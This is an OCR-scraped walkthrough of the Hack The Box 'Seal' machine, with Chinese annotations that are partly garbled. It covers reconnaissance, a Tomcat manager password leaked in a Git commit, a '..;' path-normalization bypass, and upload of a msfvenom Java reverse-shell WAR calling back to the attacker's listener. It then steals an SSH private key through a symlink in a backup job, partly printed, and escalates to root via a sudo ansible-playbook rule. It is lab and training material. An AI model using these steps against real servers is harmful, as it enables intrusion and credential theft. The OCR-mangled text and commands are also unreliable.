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root@kali://# nmap -A 10.10.10.250
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-15 19:03 CST
Nmap scan report for 10.10.10.250
Host is up (0.28s latency).
Not shown: 997 closed ports
STATE SERVICE VERSION
open ssh OpenSSH 8.2pl1 Ubuntu 4ubuntu@.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:
3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
256 04:a7:41:39:95:65:¢5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
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| 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)

| _http-server-header: nginx/1.18.0 (Ubuntu)

| http-title: Seal Market

| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03

| Not valid after: 2022-05-05T10:24:03

| tls-alpn:

| http/1.1

| tls-nextprotoneg:

| http/1.1

8080/tcp open http-proxy

fingerprint-strings:

FourOhFourRequest:
HTTP/1.1 401 Unauthorized
Date: Mon, 15 Nov 2021 11:19:02 GMT
Set-Cookie: JSESSIONID=node@150119pyd2y8j103uthm3vxzbt190.node@; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 ©0:00:00 GMT
Content-Type: text/html;charset=utf-8
Content-Length: ©

GetRequest:
HTTP/1.1 401 Unauthorized
Date: Mon, 15 Nov 2021 11:19:00 GMT
Set-Cookie: JSESSIONID=node@1d56ieygzhoy21qdw864j59fh1188.node@; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
Content-Length: @

HTTPOptions:
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2021 11:19:00 GMT
Set-Cookie: JSESSIONID=node@10ob@dzfeqe@ul2udmwlfjc3rrl89.node@; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
Allow: GET,HEAD,POST,OPTIONS
Content-Length: @

HTTP/1.1 400 Illegal character OTEXT=0x80
Content-Type: text/html;charset=iso-8859-1
Content-Length: 71
Connection: close

<h1l>Bad Message 400</hl><pre>reason: Illegal character OTEXT=0x80</pre>
RTSPRequest:

HTTP/1.1 505 Unknown Version

Content-Type: text/html;charset=iso-8859-1

Content-Length: 58

Connection: close

<h1l>Bad Message 505</hl><pre>reason: Unknown Version</pre>
Socks4:

HTTP/1.1 400 Illegal character CNTL=0x4

Content-Type: text/html;charset=iso-8859-1

Content-Length: 69

Connection: close

<h1>Bad Message 400</hl><pre>reason: Illegal character CNTL=0x4</pre>
Socks5:

HTTP/1.1 400 Illegal character CNTL=0x5

Content-Type: text/html;charset=iso-8859-1

Content-Length: 69

Connection: close
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<h1l>Bad Message 400</hl><pre>reason: Illegal character CNTL=0x5</pre>




| HTTP/1.1 401 Unauthorized\x@D
| Server returned status 401 but no WWW-Authenticate header.
| http-title: Site doesn't have a title (text/html;charset=utf-8).

1 service unrecognized despite returning data. If you know the service/version, please submit the following fing

erprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=11/15%Time=61923E83%P=x86_64-pc-1linux-gnu%r(G
SF:etRequest,F7,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Mon, \x2015\x
:20Nov\x202021\x2011:19:00\x20GMT\r\nSet-Cookie: \x20IJSESSIONID=node@1d56
:ieygzhoy21qdw864j59fh1188\.noded; \x20Path=/;\x20HttpOnly\r\nExpires:\x2
:0Thu, \x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/
:html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,10B,
:"HTTP/1\.1\x20200\x200K\r\nDate:\x20Mon, \x2015\x20Nov\x202021\x2011:19:
:00\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node@100b@dzfeqe@ul2udmwOfjc3rrl
:89\.node0@; \x20Path=/; \x20HttpOnly\r\nExpires:\x20Thu, \x2001\x20Jan\x201
:970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nA
:11low: \x20GET,HEAD, POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r (RTSP
:Request,AD, "HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20
:text/html; charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x2
:0close\r\n\r\n<hl>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20
:Version</pre>")%r(FourOhFourRequest,F7,"HTTP/1\.1\x20401\x20Unauthorize
:d\r\nDate:\x20Mon, \x2015\x20Nov\x202021\x2011:19:02\x20GMT\r\nSet-Cooki
:e:\X20JSESSIONID=node0150119pyd2y8j103uthm3vxzbt190\.noded; \x20Path=/;\
:x20HttpOnly\r\nExpires:\x20Thu, \x2001\x20Jan\x201970\x2000:00:00\x20GMT
:\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\
:n\r\n")%r(Socks5,C3,"HTTP/1\.1\x20400\x20I1legal\x20character\x20CNTL=0
:x5\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\
:x2069\r\nConnection:\x20close\r\n\r\n<hl>Bad\x20Message\x20400</h1><pre
:>reason:\x20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/
:1\.1\x20400\x20I1llegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20tex
:t/html; charset=iso0-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20cl
:ose\r\n\r\n<hl>Bad\x20Message\x20400</h1l><pre>reason:\x20Illegal\x20cha
:racter\x20CNTL=0x4</pre>")%r(RPCCheck,C7, "HTTP/1\.1\x20400\x20I1legal\x
:20character\x200TEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-885
:9-1\r\nContent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<hl>Bad\x20
:Message\x20400</h1><pre>reason:\x20Illegal\x20character\x200TEXT=0x80</
tpre>");
exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
:SCAN(V=7.91%E=4%D=11/15%0T=22%CT=1%CU=43685%PV=Y%DS=2%DC=T%G=Y%TM=61923E
:B8%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=108%TI=2%CI=2%II=1%TS=A)OP
:S(01=M54DST11NW7%02=M54DST11NW7%03=M54DNNT11NW7%04=M54DST11NW7%05=M54DST
:1INW7%06=M54DST11 )WIN(W1=FE88%W2=FE88%W3=FE88%WA4=FE88%W5=FE88%W6=FE88)EC
:N(R=Y%DF=Y%T=40%W=FAF0%0=M54DNNSNW7%CC=Y%Q=)T1 (R=Y%DF=Y%T=40%S=0%A=S+%F=
:AS%RD=0%Q=)T2(R=N)T3(R=N) T4 (R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD=0%Q=) T5 (
:R=Y%DF=Y%T=40%W=0%S=2%A=S+%F=AR%0=%RD=0%Q=) T6 (R=Y%DF=Y%T=40%W=0%S=A%A=2%
: F=R%0=%RD=0%Q=)T7 (R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=) U1 (R=Y%DF=N
1 %T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G) IE (R=Y%DFI=N%T=40%C
:D=S)

Network Distance: 2 hops
Service Info: 0OS: Linux; CPE: cpe:/o:linux:linux_kernel

[TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS

1 282.21 ms 10.10.14.1

2 282.53 ms 10.10.10.250

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.48 seconds




1E443%5 151844 seal.htb , FATE EHINE] etc/hosts

echo "10.10.10.250 seal.htb" >> /etc/hosts

T4 Ok

{# FHgobusteridh 47 738 44 M4

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-toplmillion-5000.txt -u https://seal.htb/ -k

331

root@kali://# gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-toplmillion-20000.txt -u https://se
al.htb/ -k

https://seal.htb/
Method: (c]=)
Threads: 10
Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-toplmillion-20000.txt
User Agent: gobuster/3.1.0
Timeout:

Found: gc. msdcs.seal.htb (Status: 400) [Size: 2254]
Found: _domainkey.seal.htb (Status: 400) [Size: 1953]

2021/11/15 19:56:46 Finished
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< ¢ @ © 4 10.10.10.250

GitBucket Find a repository Snippets

Sign in

Username:

Password:

Don't have an account? Create one

BUREMIK S B3, NP0

GitBucket = Find a repository Pull requests Issues Snippets 1
News feed Repositories Pull requests Issues

on 6 May
[l root pushed to master at root/seal_market
db85dce Updating nginx configuration

on 6 May

[ root pushed to master at root/infra
BB820577 Adding tomcat playbook

on & May

[l root created root/infra

on & May

[ root pushed to master at root/seal_market
9368875 Merge branch "'master’ of http://10.10.10.250:8080/git/root/seal_market
aleca2@ Adding admin content

on 6 May
[ root pushed to master at root/seal_market
2TBa365 Updating README

on 5 May
[l root pushed to master at root/seal_market

2e649d9 Updating README

on 5 May
luis commented on issue root/seal_market#l

on 5 May

MGG EAE S, UM %2 Hitomeati
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Remove mutual authentication for dashboard, setup registration and login features.

Deploy updated tomcat configuration.

Disable manager and host-manager.

PA2 B — Ftomeat, &I T H P 4RI 21

GitBucket

Find a repository Pull requests Issues Snippets 1

root / seal_market Not watching ~ ¥ Fork:0

Updating tomcat configuration
¥ master

Browse code

luis authored on 5 May 1 parent ac21032 commit 971f3aa3ffadcc8aac12fd696d9631ca540f44c7

Showing 1 changed file patch Unified split
« 10 tomcat/tomcat-users.xml Ignore Spacea Show notes  view
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>

<user username="both" password="<must-be-changed>" roles="tomcat,rolel"/>
<user username="rolel" password="<must-be-changed>" roles="rolel"/>
-

<user username="tomcat" password= HBE*z8 {Z%" roles=" ager—gui,admin-gui®/>

</tomcat-users>

Show line notes below

Write P

sername passw roles

Seal Market TCP 443
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k17 il tomeatER A & 5k H 3%

/manager/status

il FH RIS 2 A K 5 D fE AT LB S, 32 Atomcatff) & L5 I

APACHE

WARE FOUNDATION

Server Status

List Applications HTML Manager Help Manager Help Complete Server Status

Tomcat Version JVM Version JVM Vendor | OS Name 0S Version 0S Architecture Hostname | IP Address
Apache Tomcat/9.0.31 (Ubuntu) 11.0.11+49-Ubuntu-Oubuntu2.20.04 Ubuntu Linux 5.4.0-80-generic amd64 seal 127.0.1.1

Physical memory: 3936.08 MB Available memory: 2315.43 MB Total page file: 2046.99 MB Free page file: 2046.99 MB Memaory load: 42
Process kernel time: 7.24 s Process user time: 42.81 s

JVM
Free Memory: 111.72 MB Total Memory: 146.00 MB Max Memory: 986.00 MB
Memory Pool Type Initial Total Maximum Used
G1 Eden Space Heap memory 8.00 MB 89.00 MB -0.00 MB 20.00 MB
G1 Old Gen Heap memory 54.00 MB 54.00 MB 986.00 MB 10.29 MB (1%)
G1 Survivor Space Heap memory 0.00 MB 3.00 MB -0.00 MB 3.00MB
CodeHeap 'non-nmethods’ Non-heap memory 2.43 MB 2.43MB 5.55MB 1.12 MB (20%)

CodeHeap 'non-profiled nmethods' Non-heap memory 2.43 MB 4.68 MB 117.22 MB 4.65 MB (3%)



shell

Blackhat presentatin by Orange Tsai

il A A

https://seal.htb/manager/status/..;/html

i i msfvenom’E 1% — A ~warty, _EAEF|H

msfvenom -p java/shell reverse_tcp lhost=10.10.14.62 lport=2333 -f war -0 rev.war

_reverse_tcp lhost=10.10.14.62 lport= -f war -o rev.war

H%E LA B403, A CAFENE, i Hburpdliel b A1%

JFURL
POST /manager/html/upload;jsessionid=11339A7AC98C002F229628757363166B?org.apache.catalina.filters.CSRF_NONCE=CFE
OE2487B8D39A08B8F4ED6D174F863 HTTP/1.1

By
POST /manager/status/..;/html/upload;jsessionid=11339A7AC98C002F229628757363166B?org.apache.catalina.filters.CSR
F_NONCE=CFE@E2487B8D39A08B8F4ED6D174F863 HTTP/1.1



https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

Burp  Project Intruder Repeater Window Help
Dashbeard Target 'rowy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 =

Request

Pretty M=EUTM n Actions v

=

POST /manager/status/..;/html/upload;jsessionid=11339ATACSBCO02F229628757363166B%0rg  apache. catalina. filters, CSRF_MOMCE=

CFEQE2487BED39A0BEEF4EDEDLTAFEES HTTP/1 . lI

Host: seal . hthb

User-Agent: Mozilla/5.0 (®11; Linux x86_64; rv:78,0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image /webp, ¥/*:g=0.8

Accept-Language: en-US, en:g=0.5

Accept -Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--------------------------- 176831 0473840627048780895733
& Content-Length: 13554
9 Origin: https://seal htb

10 Authorization: Basic dGotY2FO0] Oy TXIIOMYqejh7Wilke

11 Connection: close

12 Referer: https://seal . htb/manager/status/. ;/html

13 Cookie: JSESSIONID=11339A7ACOBCO0ZF2296287573631666

14 Upgrade-Insecure-Requests: 1

w N

[

16 e 1768310473840627045780895733

17 Content-Disposition: form-data; name="deployWar"; filename="rev.war"
15 Content-Type: applicationfoctet-stream

19

S S e TR s el L e TR ol T AP REal oLl ImA TZare il d S AR

@{%}lEHEll L: 0 matches
Response
GZG Raw  Render  \n Actions v
1 HTTR/1.1 200
2 Server: nginx/l.18.0 (Ubuntu)
S Date: Mon, 15 Nov 2021 13:00: 45 GHMT
4 Content-Type: text/html;charset=utf-8
5 Connection: close
5 Set-Cookie: JSESSIONID=S6CS51409CBESCA07FEELSECAFBE4CSD; Path=/managar; Httponly
7 Content-Length: 17944
f=]
9 <html=
18 =head=
11 =styles=
1z body{
font-family:Tahoma, Arial, sans-serif;
T
hl,h2,h3, b{
color:white;background-color:#525076;
T
h1{
font-size:22px;
T
@{%}lEHEll L: 0 matches
Done
SH A 3 fhs iy

nc -lvp 2333

Yila) /rev 13 5ishell

root@mkali
listening on [any]

2] from .htb [10.19.189

connect to [10.10.14.¢

id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

{5 F python335 152 5 i %



python3 -c 'import pty;pty.spawn("/bin/bash");"

A etc/passwd , BN home/luis , #KEF| T usertxt>Cf, (HBA Ui ALKR

eal:/home/luis$ 1s

luis luis

root root

luis luis

luis luis

luis luis

luis luis 7

luis luis 4096

luis luis 4096

luis luis 4096

luis luis 52497951

luis luis 4096

luis luis 4096 2

luis luis 2021 .profile

luis luis L y 7 .ssh
—_— luis luis ] x user.txt

tomcat@seal: /home/luis$ |

ble
_history — /dev/null
_logout

=g = g = g <]
W w3
wowmwmn
== =
=1
A

oo

AR A B AR I, Rt eT DA BRI R &, T ANBE I CAAEMT I E . 233 /opt H TR, B H

- hosts: localhost

tasks:

- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/RO0T/admin/dashboard dest=/opt/backups/files copy links=yes
name: Server Backups
archive:

path: /opt/backups/files/
dest:
name: Clean
file:
state: absent
path: /opt/backups/files/

=S

o "“Copy Files" /&K AR FT A ST i 23X AN H & N —Asefb e, Hifiles, M FPEH, HERRET S
copy_links=yesfg 4 .

o "Server Backups "ig T IHRYIHL, Az Rl A B IR BRI .gZ B .
o "Clean "l FH SCAF RS HL I B3 S A H 5%

S B — AR [Eluisid_rsalfI8EdE, AT LR Bl # luploads H 3%

In -s /home/luis/id_rsa /var/lib/tomcat9/webapps/RO0T/admin/dashboard/uploads/id_rsa
cp opt/backups/archives/backup-2021-11-15-13:51:32.gz dev/shm
cd dev/shm

mv backup-2021-11-15-13:51:32.gz backup.tar.gz
tar -xvf backup.tar.gz




it 52 JGFATHE dev/shm/dashboard/uploads/.ssh &S| | id_rsa

shm/dashboard/uploads/.

SSH PRIVATE KEY

td jEAAAAABGSvbmUAAAAEBMOUZ

mtdTSMPTCWk
cnCAEhQ75VSEHXE/NHg08z

NHHI Hwa(QpF5ua7 1360 L1FqDE\ TWfIjru
PmEW:ID/Do:+T#puq b _.19+Ifﬁ+u+1E
! F/ETD1h/d5
OXpWnbi5r»

Z5+( Oijdm
rkiHLF8mXjJJIGMHbHN
"D!E+u1+t shtgBeEioalfPiacC
YablLjUCOg@5aPVghaWetyDaf8ob85qg

Red P IRAT B A, 22 ilssh ok

is@10.10.10.250

is more than a
sudo apt updat
ogs.ubuntu.com/meta-release . Check your Internet connection or

La login: / 2021 from 10.10.14.6
lui

89f9h68e8

lui

PfFusertl [Rflag: 89f9b68e8e14af1851426fe2d8952b68

shell as root

1 Fsudo 175 % sudofl i

luis@seal:~$ sudo -1
Matching Defaults entries for luis on seal:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/sna
p/bin

User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *

luism] L Fisudof [RiZ 1T ansible-playbook
playbook

B1i& — 4 root.ymISC {40


https://docs.ansible.com/ansible/latest/user_guide/playbooks.html

- name: Ansible Copy Example Local to Remote
hosts: localhost

tasks:

- name: copying file with playbook

become: true

copy:
src: /root/root.txt
dest: /dev/shm
owner: luis
group: luis
mode: 0777

IBATIZCA

luis@seal:/dev/shm$ sudo /usr/bin/ansible-playbook root.yml

provided hosts list is empty, only localhost is available. Note that the implicit localhost does not

PLAY [Ansible Copy EXample Local to Remote] 3k 3k 3k sk 3k sk sk 3k sk 3k sk 3k sk sk >k sk 3k sk 3k sk sk 3k sk 3k sk 3k sk sk 3k ok 3k sk 3k sk sk 3k sk 3k sk 3k sk sk 3k ok 3k sk sk sk sk 3k sk 3k sk sk >k sk 3k sk 3k ok sk >k ok >k ok 3k k k|

>k >k 5k >k 5k >k %k k %

>k >k 5k >k 5k >k >k k %

ok: [localhost]

>k >k 3k >k 5k >k >k k %

changed: [localhost]

>k >k 5k >k ok >k >k k %

localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored

KIS root.ixt

luis@seal:/dev/shm$ 1s
backup.tar.gz dashboard root.txt

luis@seal:/dev/shm$ cat root.txt
875e7554c8edf3f0a5c91f7f3500455c¢
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